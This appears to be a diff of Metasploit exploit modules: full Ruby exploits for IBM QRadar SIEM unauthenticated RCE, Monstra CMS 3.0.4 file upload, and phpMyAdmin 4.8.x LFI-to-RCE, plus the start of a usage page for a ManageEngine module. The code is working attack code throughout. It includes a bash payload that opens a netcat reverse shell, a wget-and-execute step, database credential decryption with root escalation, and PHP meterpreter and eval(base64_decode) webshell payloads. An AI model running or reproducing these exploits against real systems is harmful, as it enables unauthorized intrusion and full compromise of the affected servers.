||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
|
||||||
|
that when chained together allow an attacker to achieve unauthenticated remote code execution.
|
||||||
|
|
||||||
|
The first stage bypasses authentication by fixating session cookies.
|
||||||
|
The second stage uses those authenticated sessions cookies to write a file to disk and execute
|
||||||
|
that file as the "nobody" user.
|
||||||
|
The third and final stage occurs when the file executed as "nobody" writes an entry into the
|
||||||
|
database that causes QRadar to execute a shell script controlled by the attacker as root within
|
||||||
|
the next minute.
|
||||||
|
Details about these vulnerabilities can be found in the advisories listed in References.
|
||||||
|
|
||||||
|
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
|
||||||
|
so these vulnerabilities can be exploited in all flavours of QRadar.
|
||||||
|
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
|
||||||
|
patch 12 and 7.3.1 patch 3 are vulnerable.
|
||||||
|
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2016-9722'],
|
||||||
|
['CVE', '2018-1418'],
|
||||||
|
['CVE', '2018-1612'],
|
||||||
|
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
|
||||||
|
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
|
||||||
|
],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
|
||||||
|
],
|
||||||
|
'Payload' => {
|
||||||
|
'Compat' => {
|
||||||
|
'ConnectionType' => 'reverse',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'SSL' => true,
|
||||||
|
# we can only run shell scripts, so set a reverse netcat payload by default
|
||||||
|
# the payload that will be run is in the first few lines of @payload
|
||||||
|
'PAYLOAD' => 'generic/shell_reverse_tcp',
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'May 28 2018',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
|
||||||
|
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/ForensicsAnalysisServlet/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
vprint_error 'Connection failed'
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 403
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
vprint_error 'Connection failed'
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
# Handle incoming requests from QRadar
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
|
||||||
|
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
|
||||||
|
send_response(cli, @payload)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
|
||||||
|
def set_cookies
|
||||||
|
@sec_cookie = SecureRandom.uuid
|
||||||
|
@csrf_cookie = SecureRandom.uuid
|
||||||
|
|
||||||
|
post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +
|
||||||
|
"#{@sec_cookie},#{@csrf_cookie}"
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/ForensicsAnalysisServlet/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'action' => 'setSecurityTokens',
|
||||||
|
'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"
|
||||||
|
},
|
||||||
|
'data' => post_data
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil? or res.code != 200
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("#{peer} - Attempting to exploit #{target.name}")
|
||||||
|
|
||||||
|
# run step 1
|
||||||
|
set_cookies
|
||||||
|
|
||||||
|
# let's prepare step 2 (payload) and 3 (payload exec as root)
|
||||||
|
@payload_name = rand_text_alpha_lower(3..5)
|
||||||
|
root_payload = rand_text_alpha_lower(3..5)
|
||||||
|
|
||||||
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||||
|
srv_host = Rex::Socket.source_address(rhost)
|
||||||
|
else
|
||||||
|
srv_host = datastore['SRVHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
|
||||||
|
service_uri = http_service + '/' + @payload_name
|
||||||
|
|
||||||
|
print_status("#{peer} - Starting up our web service on #{http_service} ...")
|
||||||
|
start_service({'Uri' => {
|
||||||
|
'Proc' => Proc.new { |cli, req|
|
||||||
|
on_request_uri(cli, req)
|
||||||
|
},
|
||||||
|
'Path' => "/#{@payload_name}"
|
||||||
|
}})
|
||||||
|
|
||||||
|
@payload = %{#!/bin/bash
|
||||||
|
|
||||||
|
# our payload that's going to be downloaded from our web server
|
||||||
|
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
|
||||||
|
#!/bin/bash
|
||||||
|
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
|
||||||
|
EOF
|
||||||
|
|
||||||
|
### below is adapted from /opt/qradar/support/changePasswd.sh
|
||||||
|
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
|
||||||
|
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
|
||||||
|
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
|
||||||
|
FORENSICS_USER_FILE="config_user.xml"
|
||||||
|
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"
|
||||||
|
|
||||||
|
# get the encrypted db password from the config
|
||||||
|
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`
|
||||||
|
|
||||||
|
QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')
|
||||||
|
|
||||||
|
AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
|
||||||
|
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
|
||||||
|
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)
|
||||||
|
|
||||||
|
AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`
|
||||||
|
|
||||||
|
#if 7.2.8 or greater, use new method for hashing and salting passwords
|
||||||
|
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]
|
||||||
|
then
|
||||||
|
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
|
||||||
|
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
|
||||||
|
else
|
||||||
|
|
||||||
|
PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
|
||||||
|
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
|
||||||
|
fi
|
||||||
|
|
||||||
|
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
|
||||||
|
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"
|
||||||
|
|
||||||
|
# kill ourselves!
|
||||||
|
(sleep 2 && rm -- "$0") &
|
||||||
|
}
|
||||||
|
|
||||||
|
# let's do step 2 then, ask QRadar to download and execute our payload
|
||||||
|
print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")
|
||||||
|
|
||||||
|
exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
|
||||||
|
"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
|
||||||
|
"/bin/bash /store/configservices/staging/updates/#{@payload_name})"
|
||||||
|
|
||||||
|
payload_step2 = "pcap[0][pcap]" +
|
||||||
|
"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +
|
||||||
|
"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"
|
||||||
|
|
||||||
|
uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
|
||||||
|
"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => uri_step2 + '&' + payload_step2,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
|
||||||
|
})
|
||||||
|
|
||||||
|
# now we just sit back and wait for step 2 payload to be downloaded and executed
|
||||||
|
# ... and then step 3 to complete. Let's give it a little more than a minute.
|
||||||
|
Rex.sleep 80
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,180 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
|
||||||
|
An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
|
||||||
|
This module was tested against MonstraCMS 3.0.4.
|
||||||
|
},
|
||||||
|
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
|
||||||
|
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE','2017-18048'],
|
||||||
|
['EDB','43348'],
|
||||||
|
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
|
||||||
|
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
|
||||||
|
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||||
|
'Encoder' => 'php/base64'
|
||||||
|
},
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Monstra CMS 3.0.4', { }],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Dec 18 2017'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
|
||||||
|
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
||||||
|
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
|
||||||
|
rescue
|
||||||
|
vprint_error("Unable to access the index.php file")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code != 200
|
||||||
|
vprint_error("Error accessing the index.php file")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
|
||||||
|
version = Gem::Version.new($1)
|
||||||
|
vulnVersion = Gem::Version.new('3.0.4')
|
||||||
|
vprint_status("Monstra CMS: #{version}")
|
||||||
|
|
||||||
|
if version > vulnVersion
|
||||||
|
return CheckCode::Safe
|
||||||
|
elsif version == vulnVersion
|
||||||
|
return CheckCode::Appears
|
||||||
|
elsif version < vulnVersion
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def uri
|
||||||
|
target_uri.path
|
||||||
|
end
|
||||||
|
|
||||||
|
def login
|
||||||
|
res = nil
|
||||||
|
vprint_status('Trying to Login ......')
|
||||||
|
# Send Creds with cookies.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, 'admin', 'index.php'),
|
||||||
|
'vars_post' => {
|
||||||
|
'login' => datastore['USERNAME'],
|
||||||
|
'password' => datastore['PASSWORD'],
|
||||||
|
'login_submit' => 'Log+In'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
cookies = res.get_cookies
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
|
||||||
|
|
||||||
|
# Try to access index page with authenticated cookie.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'admin' '/index.php'),
|
||||||
|
'cookie' => cookies
|
||||||
|
})
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
|
||||||
|
|
||||||
|
# if we redirect to core_welcome then we assume we have authenticated cookie.
|
||||||
|
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
|
||||||
|
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
|
||||||
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||||
|
return cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
#Login Function Execute and Return Cookies
|
||||||
|
cookies = login
|
||||||
|
|
||||||
|
#Random payload name.
|
||||||
|
pay_name = "#{rand_text_alpha(5..10)}.PHP"
|
||||||
|
|
||||||
|
|
||||||
|
# Payload Gen.
|
||||||
|
evilbyte = "<?php #{payload.encoded}; ?>"
|
||||||
|
|
||||||
|
# Request for CSRF token for file upload.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'admin', '/index.php'),
|
||||||
|
'vars_get' => {'id' => 'filesmanager'},
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => cookies
|
||||||
|
})
|
||||||
|
|
||||||
|
# Grabbing CSRF token from body
|
||||||
|
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||||
|
vprint_good("CSRF-Token for File Upload : #{csrf}")
|
||||||
|
|
||||||
|
# setup POST request.
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
|
||||||
|
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
|
||||||
|
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
|
||||||
|
data = post_data.to_s
|
||||||
|
|
||||||
|
vprint_status("Trying to upload file #{pay_name} with malicious content....")
|
||||||
|
# Lets Send Upload request.
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'admin', '/index.php'),
|
||||||
|
'vars_get' => {'id' => 'filesmanager'},
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => cookies,
|
||||||
|
'Connection' => 'close',
|
||||||
|
'data' => data,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||||
|
})
|
||||||
|
|
||||||
|
# Cleanup delete payload after get meterpreter.
|
||||||
|
register_files_for_cleanup(pay_name)
|
||||||
|
|
||||||
|
|
||||||
|
# Execute our payload simply call to payload.
|
||||||
|
print_status("Executing Payload " )
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
|
||||||
|
})
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,234 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
|
||||||
|
which can be exploited post-authentication to execute PHP code by
|
||||||
|
application. The module has been tested with phpMyAdmin v4.8.1.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'ChaMd5', # Vulnerability discovery and PoC
|
||||||
|
'Henry Huang', # Vulnerability discovery and PoC
|
||||||
|
'Jacob Robles' # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '104532' ],
|
||||||
|
[ 'CVE', '2018-12613' ],
|
||||||
|
[ 'CWE', '661' ],
|
||||||
|
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
|
||||||
|
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
|
||||||
|
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => [ 'php' ],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[ 'Windows', {} ],
|
||||||
|
[ 'Linux', {} ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jun 19 2018'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
|
||||||
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
|
||||||
|
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
|
||||||
|
rescue
|
||||||
|
vprint_error("#{peer} - Unable to connect to server")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
vprint_error("#{peer} - Unable to query /js/messages.php")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
# v4.8.0 || 4.8.1 phpMyAdmin
|
||||||
|
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
|
||||||
|
version = Gem::Version.new($1)
|
||||||
|
vprint_status("#{peer} - phpMyAdmin version: #{version}")
|
||||||
|
|
||||||
|
if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
def query(uri, qstring, cookies, token)
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, 'import.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_post' => Hash[{
|
||||||
|
'sql_query' => qstring,
|
||||||
|
'db' => '',
|
||||||
|
'table' => '',
|
||||||
|
'token' => token
|
||||||
|
}.to_a.shuffle]
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
def lfi(uri, data_path, cookies, token)
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'encode_params' => false,
|
||||||
|
'vars_get' => {
|
||||||
|
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == Exploit::CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||||
|
end
|
||||||
|
|
||||||
|
uri = target_uri.path
|
||||||
|
vprint_status("#{peer} - Grabbing CSRF token...")
|
||||||
|
|
||||||
|
response = send_request_cgi({'uri' => uri})
|
||||||
|
|
||||||
|
if response.nil?
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
|
||||||
|
elsif response.body !~ /token"\s*value="(.*?)"/
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
|
||||||
|
end
|
||||||
|
token = Rex::Text.html_decode($1)
|
||||||
|
|
||||||
|
if target.name =~ /Automatic/
|
||||||
|
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
|
||||||
|
mytarget = srv.nil? ? 'Linux' : 'Windows'
|
||||||
|
else
|
||||||
|
mytarget = target.name
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Identified #{mytarget} target")
|
||||||
|
|
||||||
|
#Pull out the last two cookies
|
||||||
|
cookies = response.get_cookies
|
||||||
|
cookies = cookies.split[-2..-1].join(' ')
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Retrieved token #{token}")
|
||||||
|
vprint_status("#{peer} - Retrieved cookies #{cookies}")
|
||||||
|
vprint_status("#{peer} - Authenticating...")
|
||||||
|
|
||||||
|
login = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'vars_post' => {
|
||||||
|
'token' => token,
|
||||||
|
'pma_username' => datastore['USERNAME'],
|
||||||
|
'pma_password' => datastore['PASSWORD']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if login.nil? || login.code != 302
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||||
|
end
|
||||||
|
|
||||||
|
#Ignore the first cookie
|
||||||
|
cookies = login.get_cookies
|
||||||
|
cookies = cookies.split[1..-1].join(' ')
|
||||||
|
vprint_status("#{peer} - Retrieved cookies #{cookies}")
|
||||||
|
|
||||||
|
login_check = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
'vars_get' => { 'token' => token },
|
||||||
|
'cookie' => cookies
|
||||||
|
})
|
||||||
|
|
||||||
|
if login_check.nil?
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||||
|
elsif login_check.body.include? 'Welcome to'
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||||
|
elsif login_check.body !~ /token"\s*value="(.*?)"/
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
|
||||||
|
end
|
||||||
|
token = Rex::Text.html_decode($1)
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Authentication successful")
|
||||||
|
|
||||||
|
#Generating strings/payload
|
||||||
|
database = rand_text_alpha_lower(5)
|
||||||
|
table = rand_text_alpha_lower(5)
|
||||||
|
column = rand_text_alpha_lower(5)
|
||||||
|
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"
|
||||||
|
|
||||||
|
|
||||||
|
#Preparing sql queries
|
||||||
|
dbsql = "CREATE DATABASE #{database};"
|
||||||
|
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
|
||||||
|
dropsql = "DROP DATABASE #{database};"
|
||||||
|
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'
|
||||||
|
|
||||||
|
#Create database
|
||||||
|
res = query(uri, dbsql, cookies, token)
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
|
||||||
|
end
|
||||||
|
|
||||||
|
#Create table and column
|
||||||
|
res = query(uri, tablesql, cookies, token)
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
|
||||||
|
end
|
||||||
|
|
||||||
|
#Find datadir
|
||||||
|
res = query(uri, dirsql, cookies, token)
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.body =~ /^<td data.*?>(.*)?</
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
|
||||||
|
end
|
||||||
|
|
||||||
|
#Creating include path
|
||||||
|
if mytarget == 'Windows'
|
||||||
|
#Table file location
|
||||||
|
data_path = $1.gsub(/\\/, '/')
|
||||||
|
data_path = data_path.sub(/^.*?\//, '/')
|
||||||
|
data_path << "#{database}/#{table}.frm"
|
||||||
|
else
|
||||||
|
#Session path location
|
||||||
|
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
|
||||||
|
data_path = "/var/lib/php/sessions/sess_#{session_name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
res = lfi(uri, data_path, cookies, token)
|
||||||
|
|
||||||
|
#Drop database
|
||||||
|
res = query(uri, dropsql, cookies, token)
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,54 @@
|
||||||
|
## Description
|
||||||
|
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
|
||||||
|
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/windows/http/manageengine_adshacluster_rce`
|
||||||
|
4. Do: `set rhost <ip>`
|
||||||
|
5. Do: `check`
|
||||||
|
```
|
||||||
|
[*] Version: 5216
|
||||||
|
[+] 192.168.88.125:8181 The target is vulnerable.
|
||||||
|
```
|
||||||
|
6. Do: `set lport <port>`
|
||||||
|
7. Do: `set lhost <ip>`
